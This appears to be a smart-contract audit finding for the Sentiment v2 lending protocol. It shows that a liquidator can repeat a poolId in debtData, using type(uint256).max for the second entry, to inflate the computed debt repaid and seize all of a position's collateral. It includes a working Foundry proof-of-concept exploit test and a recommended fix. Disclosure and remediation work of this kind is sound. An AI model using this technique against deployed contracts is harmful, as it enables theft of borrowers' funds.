Massive Seafoam Eel

High

# Liquidator can bypass `_validateSeizedAssetValue()` check seizing all of the position's assets.

## Summary
During liquidation, `validateLiquidation()` function of RiskModule is invoked to ensure a position is unhealthy and restrict liquidator to seizing only an allowed amount of assets. However, it's possible to trick the function into thinking that the amount of debt repaid is greater than it is in practice.
## Vulnerability Detail
Consider the following scenario:

A pool facilitates lending of assetA and accepts assetB as a collateral. 
The price of both assets is 1 ETH and assetB has an LTV of 0.5.
 Liquidation discount is set to 20%.
1. Bob deposits 200 tokens of assetB worth 200 ETH into his position.
2. Bob borrows 100 tokens of assetA worth 100 ETH.
3. The `minReqAssetValue` of Bob's position is `100 * 1 / 0/.5 = 200 ETH` , so his position is healthy.
4. The price of assetB drops from 1 ETH to 0.9 ETH, putting Bob's asset value to 180 ETH, making his position liquidatable.

Under normal conditions, if liquidator were to repay full debt worth 100 ETH, the `maxSeizedAssetValue` would be set to `100 ETH * 100% / (100% - 20%) = 125 ETH`, as can be seen in the `_validateSeizedAssetValue()`.
[RiskModule.sol#L156-L159](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/protocol-v2/src/RiskModule.sol#L156-L159)
```solidity
// max asset value that can be seized by the liquidator
// 100e18 * 1e18 / 0.8e18 = 125e18
uint256 maxSeizedAssetValue = debtRepaidValue.mulDiv(
    1e18,
    (1e18 - discount)
);
if (assetSeizedValue > maxSeizedAssetValue) {
    revert RiskModule_SeizedTooMuch(
        assetSeizedValue,
        maxSeizedAssetValue
    );
}
```
Instead of that liquidator crafts a `debtData` parameter passed to the `liquidate()` function in the following way:
* `debtData` is an array containing two `DebtData` structs.
* `debtData[0].poolId` is set to ID of the pool.
* `debtData[0].amt` is set to 99 tokens of assetA.
* `debtData[1].poolId` is set to ID of the pool.
* `debtData[1].amt` is set to `type(uint256).max`.

With this `debtData` parameter `_validateSeizedAssetValue()` will calculate the amount of debt repaid as 199 ETH, since for the first element of the array debt value will be `99 * 1 ETH`, and for the second element debt value will be `pool.getBorrowsOf(poolId, position) * 1 ETH`.
[RiskModule.sol#L138-L145](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/protocol-v2/src/RiskModule.sol#L138-L145)
```solidity
for (uint256 i; i < debtLength; ++i) {
    uint256 poolId = debtData[i].poolId;
    uint256 amt = debtData[i].amt;
@>>    if (amt == type(uint256).max)
@>>        amt = pool.getBorrowsOf(poolId, position);
    address poolAsset = pool.getPoolAssetFor(poolId);
    IOracle oracle = IOracle(riskEngine.getOracleFor(poolAsset));
    debtRepaidValue += oracle.getValueInEth(poolAsset, amt);
}
```
Subsequently, the `maxSeizedAssetValue()` will be set to `199 ETH * 100% / (100% - 20%) = 248.75 ETH`. Because of that if the `assetData` passed to the `liquidate()` function includes *all* 200 tokens of the assetB currently held by a position and worth 180 ETH, the function won't revert.
During a call to `liquidate()` 200 tokens of assetB will be transferred to the liquidator and `_repayPositionDebt()` will be invoked.
[PositionManager.sol#L430-L439](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/protocol-v2/src/PositionManager.sol#L430-L439)
```solidity
function liquidate(
    address position,
    DebtData[] calldata debtData,
    AssetData[] calldata assetData
) external nonReentrant {
    riskEngine.validateLiquidation(position, debtData, assetData);
    // liquidate
    _transferAssetsToLiquidator(position, assetData);
    _repayPositionDebt(position, debtData);
```
For the first element in the `debtData` array, `_repayPositionDebt()` will repay 99 tokens of assetA, which will reduce borrows of position to only 1 token, so for the second element the amount set to `type(uint256).max)` will take form of `pool.getBorrowsOf(poolId, position)` resulting in only 1 token of assetA repaid.
[PositionManager.sol#L488-L498](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/protocol-v2/src/PositionManager.sol#L488-L498)
```solidity
for (uint256 i; i < debtDataLength; ++i) {
    uint256 poolId = debtData[i].poolId;
    address poolAsset = pool.getPoolAssetFor(poolId);
    uint256 amt = debtData[i].amt;
@>>   if (amt == type(uint256).max)
@>>        amt = pool.getBorrowsOf(poolId, position);
    // transfer debt asset from the liquidator to the pool
    IERC20(poolAsset).safeTransferFrom(msg.sender, address(pool), amt);
    // trigger pool repayment which assumes successful transfer of repaid assets
    pool.repay(poolId, position, amt);
    // update position to reflect repayment of debt by liquidator
    Position(payable(position)).repay(poolId, amt);
}
```
## Impact
Liquidator can trick the `liquidate()` function into thinking that the amount of debt repaid is greater than it is in practice, which allows him to seize all of the position's assets bypassing the check in `_validateSeizedAssetValue()`.

## Proof Of Concept
Please add the following test to `/protocol-v2/test/integration/LiquidationTest.t.sol` and run it with `forge test --match-test 'test_seizeMoreAssetsThanAllowed'`.
```solidity
function test_seizeMoreAssetsThanAllowed() public {
    asset2.mint(user, 200e18);
    vm.startPrank(user);
    asset2.approve(address(positionManager), 200e18);
    // deposit 200e18 asset2, borrow 100e18 asset1
    Action[] memory actions = new Action[](4);
    (position, actions[0]) = newPosition(
        user,
        bytes32(uint256(0x123456789))
    );
    actions[1] = deposit(address(asset2), 200e18);
    actions[2] = addToken(address(asset2));
    actions[3] = borrow(fixedRatePool, 100e18);
    positionManager.processBatch(position, actions);
    vm.stopPrank();
    assertTrue(riskEngine.isPositionHealthy(position));
    (
        uint256 totalAssetValue,
        uint256 totalDebtValue,
        uint256 minReqAssetValue
    ) = riskEngine.getRiskData(position);
    assertEq(totalAssetValue, 200e18);
    assertEq(totalDebtValue, 100e18);
    assertEq(minReqAssetValue, 200e18);
    // modify asset2 price from 1eth to 0.9eth
    FixedPriceOracle pointOneEthOracle = new FixedPriceOracle(0.9e18);
    vm.prank(protocolOwner);
    riskEngine.setOracle(address(asset2), address(pointOneEthOracle));
    assertFalse(riskEngine.isPositionHealthy(position));
    (totalAssetValue, totalDebtValue, minReqAssetValue) = riskEngine
        .getRiskData(position);
    assertEq(totalAssetValue, 180e18);
    assertEq(totalDebtValue, 100e18);
    assertEq(minReqAssetValue, 200e18);
    // liqudation discount = 0.2e18
    // when liquidating full debt, the max seized asset value is as follows:
    // maxSeizedAssetValue = 100e18 * 1e18 / (1e18 - 0.2e18) = 125e18
    // construct liquidator data
    DebtData memory debtData = DebtData({
        poolId: fixedRatePool,
        amt: type(uint256).max
    });
    DebtData[] memory debts = new DebtData[](1);
    debts[0] = debtData;
    AssetData memory asset2Data = AssetData({
        asset: address(asset2),
        amt: 200e18
    });
    AssetData[] memory assets = new AssetData[](1);
    assets[0] = asset2Data;
    asset1.mint(liquidator, 100e18);
    vm.startPrank(liquidator);
    asset1.approve(address(positionManager), 100e18);
    // Trying to seize All of the asset2 reverts as maxSeizedAssetValue is only 125 ETH, while 200 * 0.9 is 180 ETH
    vm.expectRevert(
        abi.encodeWithSelector(
            RiskModule.RiskModule_SeizedTooMuch.selector,
            // assets seized value
            180e18,
            // max seized value
            125e18
        )
    );
    positionManager.liquidate(position, debts, assets);
    vm.stopPrank();
    // new debtData for liquidate() function
    DebtData[] memory newDebts = new DebtData[](2);
    DebtData memory newDebtData = DebtData({
        poolId: fixedRatePool,
        amt: 99e18
    });
    newDebts[0] = newDebtData;
    // here amt is type(uint256).max
    newDebts[1] = debtData;
    // new  maxSeizeAssetValue = 199e18 * 1e18 / 0.8e18 = 248.75 ETH, while 200 * 0.9 is only 180 ETH, therefore _validateSeizedAssetValue passes
    vm.prank(liquidator);
    positionManager.liquidate(position, newDebts, assets);
    // liquidator seized all of the asset2, while he should've been only allowed to seize 138 of asset2 (as 125 / 0.9 = 138)
    assertEq(asset2.balanceOf(liquidator), 200e18);
    assertEq(asset2.balanceOf(position), 0);
}
```

## Code Snippet
https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/protocol-v2/src/RiskModule.sol#L141
https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/protocol-v2/src/PositionManager.sol#L492
## Tool used

Manual Review

## Recommendation
The crux of this issue is how `_validateSeizedAssetValue()` calculates the `debtRepaidValue`.
Possibly, the most straightforward solution is to get rid of the `type(uint256).max` flag used to signal full repayment and just let users input the amount manually.
[RiskModule.sol#L129-L145](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/protocol-v2/src/RiskModule.sol#L129-L145)
```diff
function _validateSeizedAssetValue(
    address position,
    DebtData[] calldata debtData,
    AssetData[] calldata assetData,
    uint256 discount
) internal view {
    // compute value of debt repaid by the liquidator
    uint256 debtRepaidValue;
    uint256 debtLength = debtData.length;
    for (uint256 i; i < debtLength; ++i) {
        uint256 poolId = debtData[i].poolId;
        uint256 amt = debtData[i].amt;
-       if (amt == type(uint256).max)
-            amt = pool.getBorrowsOf(poolId, position);
        address poolAsset = pool.getPoolAssetFor(poolId);
        IOracle oracle = IOracle(riskEngine.getOracleFor(poolAsset));
        debtRepaidValue += oracle.getValueInEth(poolAsset, amt);
    }
```
[PositionManager.sol#L484-L500](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/protocol-v2/src/PositionManager.sol#L484-L500)
```diff
function _repayPositionDebt(
    address position,
    DebtData[] calldata debtData
) internal {
    // sequentially repay position debts
    // assumes the position manager is approved to pull assets from the liquidator
    uint256 debtDataLength = debtData.length;
    for (uint256 i; i < debtDataLength; ++i) {
        uint256 poolId = debtData[i].poolId;
        address poolAsset = pool.getPoolAssetFor(poolId);
        uint256 amt = debtData[i].amt;
-        if (amt == type(uint256).max)
-            amt = pool.getBorrowsOf(poolId, position);
        // transfer debt asset from the liquidator to the pool
        IERC20(poolAsset).safeTransferFrom(msg.sender, address(pool), amt);
        // trigger pool repayment which assumes successful transfer of repaid assets
        pool.repay(poolId, position, amt);
        // update position to reflect repayment of debt by liquidator
        Position(payable(position)).repay(poolId, amt);
    }
}
```
Alternatively, you could disallow duplicate poolIds in the `debtData` parameter passed to `liquidate()` function.